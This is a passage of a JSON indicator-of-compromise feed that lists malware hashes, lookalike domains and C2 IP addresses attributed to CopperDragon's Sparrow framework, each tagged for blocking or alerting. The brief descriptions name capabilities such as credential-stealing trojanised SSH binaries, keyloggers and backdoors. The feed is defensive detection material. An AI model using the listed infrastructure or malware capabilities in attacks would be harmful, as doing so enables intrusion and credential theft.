"https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/f51dc5e1848daee4e607d46faa25033e1151060cd3482ad4439754440d6c4c01/", "name": "MalwareBazaar" } ] }, { "value": "8bbc395a7a0faff074c6e31c7da37bf1540a4e7ec3d80870f8d6bd1f5d4cecbb", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Loader (MSVCR110.dll) sample, a DLL that decrypts and loads the SquadC backdoor in memory, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/8bbc395a7a0faff074c6e31c7da37bf1540a4e7ec3d80870f8d6bd1f5d4cecbb/", "name": "MalwareBazaar" } ] }, { "value": "054c0ffb08eb7830de1ff2356af4d2ed696f01111a8c2e78e3a4ddc940287e48", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Loader (dtfbase.dll) sample, a DLL that decrypts and loads the SquadC backdoor in memory, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "b60404c1299e69df029d9817dcf69f9fe325ecc990e16bc7758f56ce5714184b", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Loader (WTSAPI32.dll) sample, a DLL that decrypts and loads the SquadC backdoor in memory, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/b60404c1299e69df029d9817dcf69f9fe325ecc990e16bc7758f56ce5714184b/", "name": "MalwareBazaar" } ] }, { "value": "f23e5391656b178bc0ab510b0fca6ffbd963cf94870c82a5920f0f338f561f18", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Loader (MSVCR110.dll) sample, a DLL that decrypts and loads the SquadC backdoor in memory, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/f23e5391656b178bc0ab510b0fca6ffbd963cf94870c82a5920f0f338f561f18/", "name": "MalwareBazaar" } ] }, { "value": "microsfot.vip", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "microscoft.vip", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "aistei.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "astorialaza.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "135.136.135.54", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.141.235.123", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "109.205.195.131", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "158.255.213.189", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "165.154.227.16", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "45.197.12.11", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "91.210.164.5", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "1cd0c608418cca80149ef3077e54969f24cd7ef3f22707cb280fa4b378ffa76b", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperList (filst2.exe) sample, a tool that collects system information and file metadata for staging, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "40880b6fce6f83df4e902cd29d7abb303ffa3f37c429c382f2aaeea34f7be074", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperAdu (adu.exe) sample, a tool that creates a hidden administrator account and enables SMB and remote admin access, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "9fa421adb5c5dac3b2fc1165b0dddd596e82cfd3b08347a91d63f9e88d8718d0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLsa (g.exe) sample, a malicious LSA security support provider that intercepts credentials at logon, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "3637f4f804cffc3b25222d542e7cb544ee48074ed2e46607e31f9410c17bf223", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the Copperlogger loader (STI.DLL) sample, a DLL loader for the CopperLogger in-memory keylogger, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "1b365975f9ad8a4748b2bbfb36de3be171aeadeb59d497192a8b4d9560b37173", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the Copperlogger sample, an in-memory keylogger capturing keystrokes, clipboard and window context, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "d1da8e2389f48d1d1c0e127f3417e3d3e0dbf54691e22d6d0c863d28b9e7a812", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SparrowDoor loader (hha.dll) sample, a DLL loader for the SparrowDoor backdoor, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "dbdaa8a52246b1e3f9285820db2f976b8ab513926ed972c968fae1c8aeb77056", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SparrowDoor variant sample, an in-memory SparrowDoor backdoor variant, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "46407cc35c48d19c6b1990a03ebdd19321005ce08d5a98acd168fda55a92d946", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the AnnobinDoor (containerd-demo) sample, a Go-based UPX-packed Linux backdoor with shell, SOCKS proxy and SSH tunnelling, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "3e4eef1a641d6060f6144ceba6757df6085d475eedb8b9e61b5feb84e9fb989e", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of the FRP (frpc) sample, an FRP reverse proxy client used for tunnelling, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "cc3544ac194a4ab5f3a60dbedd270192bc01afd2a365b3b136b35d40d8dd3ff0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the trojanised ssh (ssh) sample, a modified OpenSSH client that captures passwords and key passphrases, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "ea25b021f90dbd1c53cd3490274c5c92856d4f815d85f3ec68600facab2c952f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the trojanised ssh (ssh) sample, a modified OpenSSH client that captures passwords and key passphrases, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "fa28bc5dfc2c37c3104961f5ca80f590259a27743a8aa327c606fb51452b840f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the trojanised sshd (sshd) sample, a modified OpenSSH server that captures incoming login credentials, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "2ea96ea398e9254706ff2761b86302372c149ef090536ad76231e51d7c810a2a", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SparrowShell (xfs_rudp) sample, a Linux SparrowDoor backdoor with remote commands, persistence and pivoting, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "50daadd49b8df4f0190d0badfde89f8e6a6e61af664ef1444984028a005f40d8", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SparrowShell (aplk) sample, a Linux SparrowDoor backdoor with remote commands, persistence and pivoting, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "cbce7dc8649b37c5db411dfee3a74e8cace2b48fdc8350bfa5b4846c5d9ed2ae", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SparrowShell Plugin (2000) sample, a SparrowShell plugin module, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "9d01724193d9570a6c75bbcbb171d29df290207007d004cf75d133dd9aa475f4", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SparrowShell Plugin (3000) sample, a SparrowShell plugin module, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "129349a221e6efcc9a047efdfd81197f796fcf38877344f17f85651b21e33427", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SparrowShell Plugin (4000) sample, a SparrowShell plugin module, from the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/129349a221e6efcc9a047efdfd81197f796fcf38877344f17f85651b21e33427/", "name": "MalwareBazaar" } ] }, { "value": "windowsdefender.it.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "windowsupdates.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "microupdate.me", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "windefender.net", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.215.216.117", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.215.216.116", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.215.216.125", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.215.216.197", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.215.216.27", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.215.216.75", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": 